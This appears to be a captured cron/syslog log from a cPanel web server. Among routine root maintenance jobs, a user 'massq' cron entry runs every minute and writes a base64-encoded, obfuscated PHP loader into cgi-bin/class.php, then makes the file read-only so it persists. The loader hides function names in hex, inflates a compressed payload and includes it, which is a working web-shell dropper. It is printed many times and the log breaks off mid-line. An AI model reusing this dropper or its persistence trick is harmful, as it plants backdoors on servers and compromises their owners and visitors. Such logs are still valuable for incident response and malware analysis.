Apr  9 02:57:01 server CROND[10220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:58:01 server CROND[10279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:59:01 server CROND[10498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:59:01 server CROND[10501]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Apr  9 03:00:01 server CROND[10673]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 03:00:01 server CROND[10674]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 03:00:01 server CROND[10677]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 03:00:01 server CROND[10680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:01:01 server CROND[10795]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 03:01:01 server CROND[10796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:01:01 server run-parts(/etc/cron.hourly)[10795]: starting 0anacron
Apr  9 03:01:01 server anacron[10808]: Anacron started on 2025-04-09
Apr  9 03:01:01 server run-parts(/etc/cron.hourly)[10810]: finished 0anacron
Apr  9 03:01:01 server anacron[10808]: Will run job `cron.daily' in 11 min.
Apr  9 03:01:01 server anacron[10808]: Jobs will be executed sequentially
Apr  9 03:02:01 server CROND[10860]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:03:01 server CROND[10920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:04:01 server CROND[11077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:05:01 server CROND[11155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 03:05:01 server CROND[11156]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 03:05:01 server CROND[11157]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 03:05:01 server CROND[11158]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:06:01 server CROND[11267]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:07:01 server CROND[11327]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:08:01 server CROND[11377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:09:01 server CROND[11565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 03:09:01 server CROND[11566]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 03:10:01 server CROND[11639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7J